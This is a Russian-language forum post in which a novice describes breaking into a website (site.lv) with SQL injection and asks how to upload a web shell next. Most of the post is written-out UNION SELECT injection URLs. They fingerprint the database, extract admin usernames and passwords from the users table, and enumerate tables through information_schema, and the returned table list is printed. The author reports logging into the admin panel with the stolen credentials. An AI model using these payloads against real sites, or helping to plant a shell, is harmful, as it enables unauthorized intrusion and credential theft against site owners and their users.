Доброе время суток. Значит так , дело было вечером и делать естественно было нечего.
И после просмотра очередного видео о SQL inj и заливе шела я решил попробывать это сам.
Первое что я сделал нашол жертву своих коварных замыслов:
После того как жертва была найдена я проверил саит на наличие скуля:

http://www.site.lv/?p=news&off=&id=10`4
Ура скуль найден.

Далие нахожу количество полей...
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,3,4,5,6/*

Потом смотрю название и версию БД....
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,version(),4,5,6/*
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,database(),4,5,6/*
Получил версию : 5.0.21-community-nt
и название ДБ : xxx

Теперь было бы неплохо найти узеров + их пароли к адм панели саита...
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,user,4,5,6+from+users/*
http://www.site.lv/?p=news&off=&id=-104+union+select+1,2,pass,4,5,6+from+users/*
И тут опять же удача мне улыбнулась и после этих 2 запросов я получил 3 узернаме и пароли к ним.

Зайдя в адм панель ничего интересного я там ненашол кроме ДОБАВИТЙ ИЗМЕНИТЙ УДАЛИТЙ новости.... это меня огарчило и на некоторе время загнало в тупик , так как незнал што делатй дальше..
Немного подумав решил наити таблици в ДБ и составил такои запрос:
http://www.site.lv/?p=news&off=&id=-1045+UNION+SELECT+1,2,table_name,4,5,6+from+inform ation_schema.tables/*
После этого запроса получил название всех таблиц:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
phpbb_auth_access
phpbb_banlist
phpbb_categories
phpbb_config
phpbb_confirm
phpbb_disallow
phpbb_forum_prune
phpbb_forums
phpbb_groups
phpbb_posts
phpbb_posts_text
phpbb_privmsgs
phpbb_privmsgs_text
phpbb_ranks
phpbb_search_results
phpbb_search_wordlist
phpbb_search_wordmatch
phpbb_sessions
phpbb_smilies
phpbb_themes
phpbb_themes_name
phpbb_topics
phpbb_topics_watch
phpbb_user_group
phpbb_users
phpbb_vote_desc
phpbb_vote_results
phpbb_vote_voters
phpbb_words
countries
countries_
matches
matches2005
matches2006
matches2007
news
players
players_
positions
teams
teams_
users
visit

И на этом я остановился ,так как незнаю что необходимо сделать дальше для того что би залить шелл...
Может ктонибудь мог бы мне немного подсказать ....

P.S Hе судите меня строго , я весго лиш новичок...